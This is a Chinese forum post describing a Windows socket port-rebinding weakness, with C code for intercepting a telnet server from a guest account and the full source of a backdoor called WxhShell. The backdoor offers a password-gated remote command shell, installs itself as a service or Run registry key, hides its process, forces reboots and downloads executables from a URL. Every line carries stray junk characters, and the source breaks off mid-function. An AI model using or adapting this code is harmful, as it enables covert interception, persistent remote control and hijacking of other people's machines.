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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +gK7`:v4O*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =p^*y-z  
3}Uae#oy  
  saddr.sin_family = AF_INET; RwY) O5  
/5zzzaj {  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VYlg+MlT0  
*|hICTWL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q$U;\Mg)  
&ec_jxF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CDR^xo5 dP  
C.(<KV{b  
  这意味着什么?意味着可以进行如下的攻击: >(d+E\!A  
Z`< +8e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =d( 6 )  
ezHj?@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =:9n+7~$  
pE15[fJ`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jS| (g##4  
`^|mNh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kA\;h|Y3  
P'Rr5Xa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N tg#-_]  
24|:VxO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kD"dZQx  
:i?Z1x1`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NE3G!qxL  
+.[#C5  
  #include >8jDW "Ua  
  #include CbK7="48  
  #include /WMG)#kw'  
  #include    F'|,(P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hq\KSFP  
  int main() x"_f$,:!  
  { YHCXVu<.b  
  WORD wVersionRequested; \h _hd%'G  
  DWORD ret; ${e(#bvGZ  
  WSADATA wsaData; $?I ^Dk  
  BOOL val; vT3LhN+1  
  SOCKADDR_IN saddr; YQe @C  
  SOCKADDR_IN scaddr; LOe!qt\&  
  int err; Og-M nx3  
  SOCKET s; T73saeN  
  SOCKET sc; QT^( oog=  
  int caddsize; ]:]2f 9y  
  HANDLE mt; s7T=/SC54  
  DWORD tid;   2yeq2v   
  wVersionRequested = MAKEWORD( 2, 2 ); !YAkHrF`[0  
  err = WSAStartup( wVersionRequested, &wsaData ); u%v^(9z  
  if ( err != 0 ) { s7df<dBC  
  printf("error!WSAStartup failed!\n"); h'T\gF E%  
  return -1; EL~s90C  
  } ; Sh|6  
  saddr.sin_family = AF_INET; 2ZLK`^S  
   x7{,4js  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N9{ivq|fO  
$+*ZsIo   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^k u~m5v  
  saddr.sin_port = htons(23); hFQC%N. '  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2NE/ZqREg  
  { -cIc&5CS  
  printf("error!socket failed!\n"); yf_<o   
  return -1; `qs'={YtU  
  } F)v+.5T1  
  val = TRUE; ~oSLWA9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cDE?Xo'!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _FAwW<S4B  
  { l\MiG Na  
  printf("error!setsockopt failed!\n"); {jlm]<:&Z  
  return -1; 4+l7v?:Pr  
  } VVCCPK^<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X(E f=:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Uf_w o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &QCqaJ-  
V 9=y@`;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w&f29#i;b  
  { swlxV@NQ  
  ret=GetLastError(); G++kU o<  
  printf("error!bind failed!\n"); EEaKT`/d  
  return -1; I0)iC[s8;  
  } B-M|}T  
  listen(s,2); ]1D>3  
  while(1) 7W}~c/%  
  { i?*&1i@  
  caddsize = sizeof(scaddr); 2LD4f[a;  
  //接受连接请求 F(SeD)ml  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  FcfN]!  
  if(sc!=INVALID_SOCKET) /Rt/Efu  
  { ,9W0fm \t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vi lNl|  
  if(mt==NULL) E7*1QR{Q  
  {  ocL  
  printf("Thread Creat Failed!\n"); F!aYK2  
  break; ~{+J~5!;<H  
  } TD\QX2m  
  } ?]5wX2G^|J  
  CloseHandle(mt); _)%4NjWKk  
  } :i:Zc~%  
  closesocket(s); uY'Ib[H  
  WSACleanup(); ;5y!,OF6  
  return 0; 5]'iSrp  
  }   S0p]:r ";x  
  DWORD WINAPI ClientThread(LPVOID lpParam) #9 } Oqm  
  { %tQIKjsVaY  
  SOCKET ss = (SOCKET)lpParam; M c@p~5!M  
  SOCKET sc; NK"y@)%0  
  unsigned char buf[4096]; D8Ni=.ALL  
  SOCKADDR_IN saddr; s,` n=#  
  long num; +{Q\B}3cj1  
  DWORD val; K8e>sU.  
  DWORD ret; fI"`[cA"]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 GI6 EZ}.MZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1l1X1  
  saddr.sin_family = AF_INET; vLpE|QZs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LU;ma((yy[  
  saddr.sin_port = htons(23); c}rRNS$F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;{HxY98Q  
  { -AcQ_dS  
  printf("error!socket failed!\n"); C"0gAN  
  return -1; @6t3Us~/  
  } eb( =V *  
  val = 100; 0} P&G^%"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !pDS*{)E  
  { +cj NA2@  
  ret = GetLastError(); N#ex2c  
  return -1; EH4WR/x  
  } >@EQarD  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M5P63=1+  
  { +Pa!pj/< z  
  ret = GetLastError(); ?]paAP;4  
  return -1; )Dqv&^  
  } N<:Ra~Ay  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^!kv gm<{$  
  { Li<c  
  printf("error!socket connect failed!\n"); k$I[F<f  
  closesocket(sc); yChC&kX Z+  
  closesocket(ss); q:?g?v  
  return -1; 0*tEuJ7  
  } * z{D}L-&  
  while(1) Uhg[#TUK  
  { 9)f1CC]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xFyMg&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^z)lEO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 li;P,kg$  
  num = recv(ss,buf,4096,0); xnh%nv<v{  
  if(num>0) 1f}S:Z  
  send(sc,buf,num,0); 6E_YQbdy  
  else if(num==0) iB]kn(2C  
  break; ODEy2).  
  num = recv(sc,buf,4096,0); [ >vS+G  
  if(num>0) ;gW~+hW^  
  send(ss,buf,num,0); qTffh{q V  
  else if(num==0) dB_\,%vAd  
  break; b_wb!_  
  } [Q^kO;  
  closesocket(ss); I s8|  
  closesocket(sc); J^t=.-a|  
  return 0 ; U*6-Y%7  
  } e=2;z  
L^ +0K}eD  
sPd5f2'  
========================================================== &4{%3w_/  
.|iUDp6vz  
下边附上一个代码,,WXhSHELL zIdQ^vm8Q  
*>\RGL;]8  
========================================================== 0Fi7|  
nS4~1a  
#include "stdafx.h" TFM}P  
kWoy%?|RRa  
#include <stdio.h> <(^-o4Cl  
#include <string.h> ^2=Jv.2{|  
#include <windows.h> ]%mg(&p4  
#include <winsock2.h> WP}__1!%u  
#include <winsvc.h> ?]P&3UU>0z  
#include <urlmon.h> {/ty{  
Zr$PSp}  
#pragma comment (lib, "Ws2_32.lib")  OSSMIPr  
#pragma comment (lib, "urlmon.lib") VQ}=7oe%q  
,'ndQ{\9  
#define MAX_USER   100 // 最大客户端连接数 XeZv%` ?  
#define BUF_SOCK   200 // sock buffer PE4{;|a }  
#define KEY_BUFF   255 // 输入 buffer C?E;sRr0  
f$H"|Mb e  
#define REBOOT     0   // 重启 FE_n+^|k<  
#define SHUTDOWN   1   // 关机 F.@yNr"  
VvoJ85  
#define DEF_PORT   5000 // 监听端口 aC%0jJ<eo  
2b3*zB*@V  
#define REG_LEN     16   // 注册表键长度 *nH?o* #  
#define SVC_LEN     80   // NT服务名长度 69IBG,N'  
s';jk(i3  
// 从dll定义API nQ/ha9v=n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qs,LK(1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yLY2_p- X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G1P m!CM=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sAnH\AFm  
3mBr nq]j>  
// wxhshell配置信息 *qq%)7  
struct WSCFG { MJ7!f+!5  
  int ws_port;         // 监听端口 v4qvq GK  
  char ws_passstr[REG_LEN]; // 口令 ?rv+ydR/q  
  int ws_autoins;       // 安装标记, 1=yes 0=no K IqF"5  
  char ws_regname[REG_LEN]; // 注册表键名 g8vN^nQf[  
  char ws_svcname[REG_LEN]; // 服务名 K zM\+yC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aV>w($tdd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !\!fd(BN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?m~;*wn%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xy|;WB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 63k8j[$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IAtc^'l#  
C6/,-?%)  
}; x^C,xP[#Y;  
@c{Z?>dUc#  
// default Wxhshell configuration 31bKgU{  
struct WSCFG wscfg={DEF_PORT, ]cA){^.Jz  
    "xuhuanlingzhe", 6aj)Fe'2  
    1, NIYAcLa@n8  
    "Wxhshell", ^K;,,s;0  
    "Wxhshell", \!631FcQ   
            "WxhShell Service", :jUd?(  
    "Wrsky Windows CmdShell Service", %n-LDn  
    "Please Input Your Password: ", =Qz 8"rt#  
  1, f[dwu39k  
  "http://www.wrsky.com/wxhshell.exe", ]Mtb~^joG  
  "Wxhshell.exe" t[^}/ S  
    }; <rCl  
YjsaTdZ!&  
// 消息定义模块 "5>p]u>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v3hNvcMpf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;vd%=vR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @9QHv  
char *msg_ws_ext="\n\rExit."; %r|fuwwJO  
char *msg_ws_end="\n\rQuit."; 1`h`-dqr#  
char *msg_ws_boot="\n\rReboot..."; OCR x|  
char *msg_ws_poff="\n\rShutdown..."; KK7Y"~ 9&-  
char *msg_ws_down="\n\rSave to "; o+q 5:vJt  
<xc"y|7X  
char *msg_ws_err="\n\rErr!"; q WP1i7]=/  
char *msg_ws_ok="\n\rOK!"; a_pkUOu6  
%VwB ?  
char ExeFile[MAX_PATH]; 6}|/~n  
int nUser = 0; /] R]7  
HANDLE handles[MAX_USER]; Fl|u0SY  
int OsIsNt; 4RdpROK  
&#d;dcLe  
SERVICE_STATUS       serviceStatus; (M[Kh ^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H]}- U8}sp  
h~F uuL  
// 函数声明 l "d&Sgnj  
int Install(void); @gTpiV2  
int Uninstall(void); 5V%K'a(  
int DownloadFile(char *sURL, SOCKET wsh); 7OW;o mT`  
int Boot(int flag); N;ssO,  
void HideProc(void); wRLkO/Fw  
int GetOsVer(void); Kj'm<]u  
int Wxhshell(SOCKET wsl); \DfvNeF  
void TalkWithClient(void *cs); B4J^ rzK  
int CmdShell(SOCKET sock); Ebp8})P/~  
int StartFromService(void); I5 [r-r  
int StartWxhshell(LPSTR lpCmdLine); wd1*wt  
fV;&Ag*ZiV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;2bG-v'4vO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eo,m ^&  
JfC.U,7Nc  
// 数据结构和表定义 M,mj{OY~x  
SERVICE_TABLE_ENTRY DispatchTable[] = "-I>  
{ 5 bMVDw/  
{wscfg.ws_svcname, NTServiceMain}, 6,oi(RAf  
{NULL, NULL} k*^.-v  
}; ;r`[6[AG  
9hLPo  
// 自我安装 ;/e!!P]jP  
int Install(void) A03PEaZO  
{ *rW]HNz  
  char svExeFile[MAX_PATH]; ko  ~iDT  
  HKEY key; )Hw;{5p@  
  strcpy(svExeFile,ExeFile); [q_Yf!(m-  
Iy e  
// 如果是win9x系统,修改注册表设为自启动 _|~2i1 Ms,  
if(!OsIsNt) { LsBDfp5/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { drN^-e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Ie50U  
  RegCloseKey(key); <G6wpf8M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vwP516EM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zso .3FR,  
  RegCloseKey(key); d eTUfbd'  
  return 0; qjTz]'^BpM  
    } Pyk~V)~M  
  } ku`'w;5jT  
} ~~k IA"U  
else { r:YAn^Lg  
>.M `Fz.  
// 如果是NT以上系统,安装为系统服务 YBg\L$| n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1R,n[`}h  
if (schSCManager!=0) ty/jTo}  
{ MR8-xO'w  
  SC_HANDLE schService = CreateService x}F.<`  
  ( Lw-j#}&6E  
  schSCManager, b_][Jye&P  
  wscfg.ws_svcname, /&ph-4\i  
  wscfg.ws_svcdisp, A$|> Jt  
  SERVICE_ALL_ACCESS, @NX^__ sa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MA"iM+Ar  
  SERVICE_AUTO_START, U:8^>_  
  SERVICE_ERROR_NORMAL, 6G1Z"9<2*  
  svExeFile, @dcW0WQ\  
  NULL, \'1%"JWK   
  NULL, b6g,mzqu  
  NULL, 6 *Q5.g  
  NULL, ]=h Ts%]w  
  NULL A6#ob  
  ); >"ZTyrK  
  if (schService!=0) 5t0i/&zX  
  { c*6o{x}K  
  CloseServiceHandle(schService); h2,A cM  
  CloseServiceHandle(schSCManager); yhUc]6`V.H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IO,kP`Wcx  
  strcat(svExeFile,wscfg.ws_svcname); 36lIV,YnU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9lny[{9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )Cx8?\/c=x  
  RegCloseKey(key); y )/d-  
  return 0; u4Vc:n  
    } 0aGfz=V&  
  } vy-{BH  
  CloseServiceHandle(schSCManager); a9D 5qj  
} ?u8+F  
} fpoH7Jd V  
J-u,6c  
return 1; zJ &qR  
} +R*4`F:QJQ  
@W^g(I(w  
// 自我卸载 /mr&Y}7T  
int Uninstall(void) Z$[A.gD4  
{ BH*vsxe  
  HKEY key; 3ON]c13  
PQf FpmG  
if(!OsIsNt) { L@G)K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SHwl^qVk[  
  RegDeleteValue(key,wscfg.ws_regname); tkJ/ h<  
  RegCloseKey(key); :  l]>nF4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?g<*1N?:  
  RegDeleteValue(key,wscfg.ws_regname); '#q"u y  
  RegCloseKey(key); EB\z:n5  
  return 0; WqTW@-}ID  
  } P.[>x  
} {uckYx-A  
} -=g`7^qa>  
else { HWe.|fH:  
crvWAsm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s  fti[  
if (schSCManager!=0) 8uCd|dJ  
{ ~\i uV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2$3BluK  
  if (schService!=0) Mzb_o2^(  
  { O;,k~  
  if(DeleteService(schService)!=0) { sIELkF?.  
  CloseServiceHandle(schService); JWxPH5L  
  CloseServiceHandle(schSCManager); 8YYY *>  
  return 0; $p9XXZ"*  
  } A+[wH(  
  CloseServiceHandle(schService); 6+LX oR'  
  } V7^?jy&&  
  CloseServiceHandle(schSCManager); 0@xuxm/i  
} *nC<1.JW  
} 7 s[ ATu  
NT8%{>F`  
return 1; gW*ee  
} MvRuW:  
*|`'L  
// 从指定url下载文件 X;}_[ =-  
int DownloadFile(char *sURL, SOCKET wsh) o}Xp-P   
{ 2y<d@z:K  
  HRESULT hr; bNL E=#ro  
char seps[]= "/"; r&TxRsg{  
char *token; 0+S:2i/G  
char *file; VK|!aqA{b  
char myURL[MAX_PATH]; T;FzKfT|  
char myFILE[MAX_PATH]; ? X:RrZ:/  
wvq<5gy}  
strcpy(myURL,sURL); _Juhl^LM;  
  token=strtok(myURL,seps); 6XX5K@  
  while(token!=NULL) [KjQW/sb'  
  { +_`F@^R_   
    file=token; Th!S?{v   
  token=strtok(NULL,seps); =jG3wf*  
  } -(1e!5_-@  
ltD:w{PO]  
GetCurrentDirectory(MAX_PATH,myFILE); ,2?C^gxt  
strcat(myFILE, "\\"); X^@d@xU4v  
strcat(myFILE, file); }B]FHpi  
  send(wsh,myFILE,strlen(myFILE),0); #b8/gRfS  
send(wsh,"...",3,0); h@Hmo^!9J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C{>?~@z&5  
  if(hr==S_OK) TbX ZU$[c  
return 0; zZE?G:isR  
else q#WqU8~Y  
return 1; ?2G^6>O `  
mKn[>M1  
} 0,/[r/=jT  
{'X"9@  
// 系统电源模块 b,K1EEJ  
int Boot(int flag) As>po +T*  
{ -eNi;u  
  HANDLE hToken; *}2o \h6Q  
  TOKEN_PRIVILEGES tkp; T]i~GkD\  
2.:b   
  if(OsIsNt) { f<zh-Gq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B! -W765Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |L+GM"hg  
    tkp.PrivilegeCount = 1; 54 8@._-S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dm.3.xXq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LpF6e9V\Wp  
if(flag==REBOOT) { 1w5p*U0 ;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &GbCJ  
  return 0; =]Ek12.  
} I5D\Z  
else { 9(B)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'dht5iI;Yw  
  return 0; oiR` \uY  
} DSnsi@Mi  
  } s ^}V  
  else { 1yKf=LZ^  
if(flag==REBOOT) { ^\wosB3E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eM~i (]PY  
  return 0; /Pf7=P  
} ^^?ECnpcU  
else { 979L]H#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e%f8|3<6  
  return 0; B j*X_m  
} Q2#)Jx\6!  
} o@>5[2b4  
CiMN J  
return 1; y\%4Dir  
} Z`:V~8=l  
:)MZgW  
// win9x进程隐藏模块 A&t}s #3  
void HideProc(void) FEP\5d>  
{ N.2rF  
O0Z'vbFG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4mPg; n  
  if ( hKernel != NULL ) dA_s7),  
  { @r .K>+1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OrRve$U*|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %Ajf|Go0/G  
    FreeLibrary(hKernel); lc/2!:g  
  } |X_yL3`Zb  
t Y^:C[  
return; ksK lw_%o  
} ).vdKNzw  
D/giM#"  
// 获取操作系统版本 'uPqe.#?  
int GetOsVer(void) _mO\Nw0  
{ *qR tk  
  OSVERSIONINFO winfo; mqE&phF,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,qr)}s-  
  GetVersionEx(&winfo); iE&`F hf?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M1oCa,8M+  
  return 1; D #A9  
  else T8RQM1D_s  
  return 0; 9^}GUJy?  
} GEvif4  
XCt}>/"s\h  
// 客户端句柄模块 %b_zUFHPp  
int Wxhshell(SOCKET wsl) z24-h C  
{ bGSgph  
  SOCKET wsh; _x>u "w  
  struct sockaddr_in client; ciXAyT cG  
  DWORD myID; U3Dy:K[  
3*'!,gK~[  
  while(nUser<MAX_USER) HWHGxg['r  
{ .jRXHrK;  
  int nSize=sizeof(client); 'Y-c*q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )qxL@w.  
  if(wsh==INVALID_SOCKET) return 1; c8u&ev.U  
",K6zALJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w)}[)}T!  
if(handles[nUser]==0) %iX +"  
  closesocket(wsh); uS&bfx2  
else /Db~-$K  
  nUser++; c5]1aFKz  
  } PVvG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7zNyH(.  
@ 8SYV}0H  
  return 0; <2R=!n@b\  
} 1ITa6vjS  
AFY;;_Xks  
// 关闭 socket IYrO;GQ  
void CloseIt(SOCKET wsh) M9iu#6P  
{ Ml)WY#7  
closesocket(wsh); q_I''L  
nUser--; "%sW/ph  
ExitThread(0); #q=?Zu^Da  
} cy? EX~s4  
!!P)r1=g  
// 客户端请求句柄 3L;)asF  
void TalkWithClient(void *cs) S3n$  
{ |M+ !O93  
K~Xt`  
  SOCKET wsh=(SOCKET)cs; q,m6$\g4  
  char pwd[SVC_LEN]; l~\'Z2op   
  char cmd[KEY_BUFF]; "rX`h  
char chr[1]; <vPIC G)  
int i,j; i|2Q}$3t2  
YoahqXR`  
  while (nUser < MAX_USER) { ` bg{\ .q  
|D<~a(0  
if(wscfg.ws_passstr) { xvW+;3;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '\\J95*`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Uybh.dC  
  //ZeroMemory(pwd,KEY_BUFF); ty "k  
      i=0; {=&pnu\  
  while(i<SVC_LEN) { ^6obxwVG  
0t<TZa]V  
  // 设置超时 x2 tx{Z  
  fd_set FdRead; bhFzu[B  
  struct timeval TimeOut; iHR?]]RF  
  FD_ZERO(&FdRead); WSh+5](:  
  FD_SET(wsh,&FdRead); qf'uXH  
  TimeOut.tv_sec=8; J%%nv5y  
  TimeOut.tv_usec=0; 6W$k^<S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l3.HL> o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2"2b\b}my  
=>ignoeI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NB LOcRSh  
  pwd=chr[0]; j]kx~  
  if(chr[0]==0xd || chr[0]==0xa) { UW40Y3W0  
  pwd=0; "&>$/b$  
  break; f v}h;?C  
  } fD V:ueO  
  i++; 7kj#3(e  
    } sl`\g1<{`  
)<!y_;$A  
  // 如果是非法用户,关闭 socket r`mfLA]d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x! Z|^q  
} 6o {41@v(  
$n>.;CV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (L q^C=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @m#7E4 +  
F2lTDuk>C  
while(1) { r"k\G\,%  
v vOG]2z  
  ZeroMemory(cmd,KEY_BUFF); Ey 4GyAl  
D4[t@*m>7  
      // 自动支持客户端 telnet标准   Un7jzAvQ  
  j=0; MdCEp1Z  
  while(j<KEY_BUFF) { :+en8^r%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f%d7?<rw  
  cmd[j]=chr[0]; Q]66v$  
  if(chr[0]==0xa || chr[0]==0xd) { 3>c<E1   
  cmd[j]=0; +Z /Pj_.o  
  break; Pij*?qmeQ  
  } : 3*(kb1)&  
  j++; tP7l ;EX4  
    } IJ[#$I+Z%  
^!?W!k!:V  
  // 下载文件 F"~uu9u  
  if(strstr(cmd,"http://")) { ?!cUAa>iH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f)/Yru. ;  
  if(DownloadFile(cmd,wsh)) P**h\+M>{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I6zKvP8pb  
  else ':6`M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &*A7{76x  
  } 5Z1b9.;.,  
  else { Y!"LrkC  
0c /xE<h  
    switch(cmd[0]) { 9qIjs$g  
  K+2<{qwh  
  // 帮助 [3}m|W<  
  case '?': { l/#;GYB]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0LeR#l:I  
    break; 4ZSc'9e9  
  } ~~;J[F p  
  // 安装 yC(xi"!  
  case 'i': { Y{6y.F*Q#  
    if(Install()) DTH;d-Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w<*6pP y  
    else +VCG/J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #px74EeI\  
    break; y)CnH4{  
    } Hj2E-RwG  
  // 卸载 s<h]2W  
  case 'r': { :I[nA?d[&  
    if(Uninstall()) STtjkZ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sZxf.  
    else $!H;,Jxv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}=gr+<bf  
    break; U\s.fIr  
    } F^fL  
  // 显示 wxhshell 所在路径 lhZXq!2p  
  case 'p': { >;:235'(M  
    char svExeFile[MAX_PATH]; 7A<X!a  
    strcpy(svExeFile,"\n\r"); )7f;FWI  
      strcat(svExeFile,ExeFile); (_Ph{IN  
        send(wsh,svExeFile,strlen(svExeFile),0); !?#B*JGFS  
    break; CD]"Q1 t}  
    } U9[QdC  
  // 重启 Na=.LW-ma=  
  case 'b': { vz[oy|{F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mu@He&w"  
    if(Boot(REBOOT)) suiO%H^t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] -iMo4H  
    else { avxr|uk  
    closesocket(wsh); FN0)DN2d}  
    ExitThread(0); waT'|9{  
    } THEpW{.E  
    break; ' d' Dlg  
    } KW`^uoY$  
  // 关机 o"wvP~H  
  case 'd': { "tdF#>x  
